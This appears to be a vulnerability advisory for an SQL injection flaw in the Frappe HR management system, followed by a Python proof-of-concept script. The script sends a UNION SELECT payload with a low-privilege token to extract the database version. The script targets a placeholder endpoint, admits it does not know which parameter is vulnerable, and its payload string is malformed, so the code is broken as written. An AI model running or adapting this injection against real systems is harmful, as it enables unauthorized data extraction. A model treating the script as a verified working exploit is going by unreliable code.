Description

Frappe HR is an open-source human resources management solution (HRMS). Prior to versions 15.54.0 and 14.38.1, a specially crafted request made to a certain endpoint could result in SQL injection, allowing an attacker to extract information they wouldn't otherwise be able to. Versions 15.54.0 and 14.38.1 contain a patch. No known workarounds are available.

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# PoC for CVE-2026-41320: SQL Injection in Frappe HR
import requests

target_url = "http://target-domain/api/resource/endpoint"  # Replace with actual vulnerable endpoint
headers = {
    "Authorization": "token <low_privilege_token>",
    "Content-Type": "application/json"
}

# Malicious payload to extract database version
# The payload structure depends on the specific endpoint parameter vulnerable
payload = {
    "filters": "[[\"name\",\"=\",\"1' UNION SELECT 1,2,version(),4-- "]]"
}

try:
    response = requests.post(target_url, json=payload, headers=headers, timeout=10)
    if response.status_code == 200:
        print("[+] Potential SQL Injection successful.")
        print("[+] Response:")
        print(response.text)
    else:
        print("[-] Request failed with status code:", response.status_code)
except Exception as e:
    print(f"[-] An error occurred: {e}")
